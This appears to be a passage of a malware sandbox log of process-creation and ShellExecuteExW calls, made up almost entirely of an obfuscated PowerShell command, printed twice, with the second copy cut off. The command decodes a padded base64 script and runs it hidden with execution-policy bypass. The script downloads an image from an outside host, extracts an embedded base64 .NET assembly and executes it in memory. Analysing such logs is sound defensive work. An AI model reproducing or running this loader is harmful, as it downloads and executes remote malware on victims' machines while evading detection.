RONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000338	1	1
ShellExecuteExW Oct. 23, 2023, 1:12 p.m.	show_type: 0 filepath_r: powershell parameters: -command "$Codigo = 'JmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVQBymcURONçuXSGwmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwBomcURONçuXSHQmcURONçuXSdmcURONçuXSBwmcURONçuXSHMmcURONçuXSOgmcURONçuXSvmcURONçuXSC8mcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSHUmcURONçuXScmcURONçuXSBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSC4mcURONçuXSaQBvmcURONçuXSC8mcURONçuXSaQBimcURONçuXSC8mcURONçuXSdwBzmcURONçuXSDgmcURONçuXSTQBBmcURONçuXSEomcURONçuXSNgBlmcURONçuXSHmcURONçuXSmcURONçuXSdmcURONçuXSBpmcURONçuXSEwmcURONçuXSZgBHmcURONçuXSHUmcURONçuXSXwmcURONçuXSxmcURONçuXSDYmcURONçuXSOQmcURONçuXS3mcURONçuXSDcmcURONçuXSMwmcURONçuXS4mcURONçuXSDQmcURONçuXSOQmcURONçuXSymcURONçuXSC4mcURONçuXSagBwmcURONçuXSGcmcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXSdwBlmcURONçuXSGImcURONçuXSQwBsmcURONçuXSGkmcURONçuXSZQBumcURONçuXSHQmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSTgBlmcURONçuXSHcmcURONçuXSLQBPmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSTgBlmcURONçuXSHQmcURONçuXSLgBXmcURONçuXSGUmcURONçuXSYgBDmcURONçuXSGwmcURONçuXSaQBlmcURONçuXSG4mcURONçuXSdmcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSHcmcURONçuXSZQBimcURONçuXSEMmcURONçuXSbmcURONçuXSBpmcURONçuXSGUmcURONçuXSbgB0mcURONçuXSC4mcURONçuXSRmcURONçuXSBvmcURONçuXSHcmcURONçuXSbgBsmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSEQmcURONçuXSYQB0mcURONçuXSGEmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBVmcURONçuXSHImcURONçuXSbmcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBpmcURONçuXSG0mcURONçuXSYQBnmcURONçuXSGUmcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSVmcURONçuXSBlmcURONçuXSHgmcURONçuXSdmcURONçuXSmcURONçuXSumcURONçuXSEUmcURONçuXSbgBjmcURONçuXSG8mcURONçuXSZmcURONçuXSBpmcURONçuXSG4mcURONçuXSZwBdmcURONçuXSDomcURONçuXSOgBVmcURONçuXSFQmcURONçuXSRgmcURONçuXS4mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSUwB0mcURONçuXSHImcURONçuXSaQBumcURONçuXSGcmcURONçuXSKmcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBCmcURONçuXSHkmcURONçuXSdmcURONçuXSBlmcURONçuXSHMmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBTmcURONçuXSFQmcURONçuXSQQBSmcURONçuXSFQmcURONçuXSPgmcURONçuXS+mcURONçuXSCcmcURONçuXSOwmcURONçuXSkmcURONçuXSGUmcURONçuXSbgBkmcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJwmcURONçuXS8mcURONçuXSDwmcURONçuXSQgBBmcURONçuXSFMmcURONçuXSRQmcURONçuXS2mcURONçuXSDQmcURONçuXSXwBFmcURONçuXSE4mcURONçuXSRmcURONçuXSmcURONçuXS+mcURONçuXSD4mcURONçuXSJwmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSmcURONçuXSkmcURONçuXSGkmcURONçuXSbQBhmcURONçuXSGcmcURONçuXSZQBUmcURONçuXSGUmcURONçuXSemcURONçuXSB0mcURONçuXSC4mcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSE8mcURONçuXSZgmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSKQmcURONçuXS7mcURONçuXSCQmcURONçuXSZQBumcURONçuXSGQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSTwBmmcURONçuXSCgmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBGmcURONçuXSGwmcURONçuXSYQBnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSHMmcURONçuXSdmcURONçuXSBhmcURONçuXSHImcURONçuXSdmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSZQmcURONçuXSgmcURONçuXSDmcURONçuXSmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSGcmcURONçuXSdmcURONçuXSmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSgmcURONçuXSCsmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEYmcURONçuXSbmcURONçuXSBhmcURONçuXSGcmcURONçuXSLgBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXS7mcURONçuXSCQmcURONçuXSYgBhmcURONçuXSHMmcURONçuXSZQmcURONçuXS2mcURONçuXSDQmcURONçuXSTmcURONçuXSBlmcURONçuXSG4mcURONçuXSZwB0mcURONçuXSGgmcURONçuXSImcURONçuXSmcURONçuXS9mcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBlmcURONçuXSG4mcURONçuXSZmcURONçuXSBJmcURONçuXSG4mcURONçuXSZmcURONçuXSBlmcURONçuXSHgmcURONçuXSImcURONçuXSmcURONçuXStmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBzmcURONçuXSHQmcURONçuXSYQBymcURONçuXSHQmcURONçuXSSQBumcURONçuXSGQmcURONçuXSZQB4mcURONçuXSDsmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSaQBtmcURONçuXSGEmcURONçuXSZwBlmcURONçuXSFQmcURONçuXSZQB4mcURONçuXSHQmcURONçuXSLgBTmcURONçuXSHUmcURONçuXSYgBzmcURONçuXSHQmcURONçuXScgBpmcURONçuXSG4mcURONçuXSZwmcURONçuXSomcURONçuXSCQmcURONçuXScwB0mcURONçuXSGEmcURONçuXScgB0mcURONçuXSEkmcURONçuXSbgBkmcURONçuXSGUmcURONçuXSemcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBMmcURONçuXSGUmcURONçuXSbgBnmcURONçuXSHQmcURONçuXSamcURONçuXSmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSQwBvmcURONçuXSG4mcURONçuXSdgBlmcURONçuXSHImcURONçuXSdmcURONçuXSBdmcURONçuXSDomcURONçuXSOgBGmcURONçuXSHImcURONçuXSbwBtmcURONçuXSEImcURONçuXSYQBzmcURONçuXSGUmcURONçuXSNgmcURONçuXS0mcURONçuXSFMmcURONçuXSdmcURONçuXSBymcURONçuXSGkmcURONçuXSbgBnmcURONçuXSCgmcURONçuXSJmcURONçuXSBimcURONçuXSGEmcURONçuXScwBlmcURONçuXSDYmcURONçuXSNmcURONçuXSBDmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSGwmcURONçuXSbwBhmcURONçuXSGQmcURONçuXSZQBkmcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQmcURONçuXSgmcURONçuXSD0mcURONçuXSImcURONçuXSBbmcURONçuXSFMmcURONçuXSeQBzmcURONçuXSHQmcURONçuXSZQBtmcURONçuXSC4mcURONçuXSUgBlmcURONçuXSGYmcURONçuXSbmcURONçuXSBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBpmcURONçuXSG8mcURONçuXSbgmcURONçuXSumcURONçuXSEEmcURONçuXScwBzmcURONçuXSGUmcURONçuXSbQBimcURONçuXSGwmcURONçuXSeQBdmcURONçuXSDomcURONçuXSOgBMmcURONçuXSG8mcURONçuXSYQBkmcURONçuXSCgmcURONçuXSJmcURONçuXSBjmcURONçuXSG8mcURONçuXSbQBtmcURONçuXSGEmcURONçuXSbgBkmcURONçuXSEImcURONçuXSeQB0mcURONçuXSGUmcURONçuXScwmcURONçuXSpmcURONçuXSDsmcURONçuXSJmcURONçuXSB0mcURONçuXSHkmcURONçuXScmcURONçuXSBlmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSbmcURONçuXSBvmcURONçuXSGEmcURONçuXSZmcURONçuXSBlmcURONçuXSGQmcURONçuXSQQBzmcURONçuXSHMmcURONçuXSZQBtmcURONçuXSGImcURONçuXSbmcURONçuXSB5mcURONçuXSC4mcURONçuXSRwBlmcURONçuXSHQmcURONçuXSVmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSomcURONçuXSCcmcURONçuXSRgBpmcURONçuXSGImcURONçuXSZQBymcURONçuXSC4mcURONçuXSSmcURONçuXSBvmcURONçuXSG0mcURONçuXSZQmcURONçuXSnmcURONçuXSCkmcURONçuXSOwmcURONçuXSkmcURONçuXSG0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCmcURONçuXSmcURONçuXSPQmcURONçuXSgmcURONçuXSCQmcURONçuXSdmcURONçuXSB5mcURONçuXSHmcURONçuXSmcURONçuXSZQmcURONçuXSumcURONçuXSEcmcURONçuXSZQB0mcURONçuXSE0mcURONçuXSZQB0mcURONçuXSGgmcURONçuXSbwBkmcURONçuXSCgmcURONçuXSJwBWmcURONçuXSEEmcURONçuXSSQmcURONçuXSnmcURONçuXSCkmcURONçuXSLgBJmcURONçuXSG4mcURONçuXSdgBvmcURONçuXSGsmcURONçuXSZQmcURONçuXSomcURONçuXSCQmcURONçuXSbgB1mcURONçuXSGwmcURONçuXSbmcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSWwBvmcURONçuXSGImcURONçuXSagBlmcURONçuXSGMmcURONçuXSdmcURONçuXSBbmcURONçuXSF0mcURONçuXSXQmcURONçuXSgmcURONçuXSCgmcURONçuXSJwBkmcURONçuXSEgmcURONçuXSamcURONçuXSmcURONçuXSwmcURONçuXSEwmcURONçuXSbgBomcURONçuXSHmcURONçuXSmcURONçuXSYgBpmcURONçuXSDgmcURONçuXSemcURONçuXSBOmcURONçuXSFMmcURONçuXSNmcURONçuXSB6mcURONçuXSE0mcURONçuXSeQmcURONçuXS0mcURONçuXSHkmcURONçuXSTgBDmcURONçuXSDQmcURONçuXSegBPmcURONçuXSFQmcURONçuXSRQB2mcURONçuXSEwmcURONçuXSegBwmcURONçuXSHcmcURONçuXSZmcURONçuXSBImcURONçuXSFImcURONçuXSbwmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSZmcURONçuXSBmmcURONçuXSGQmcURONçuXSZgBkmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçuXSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGYmcURONçuXSZmcURONçu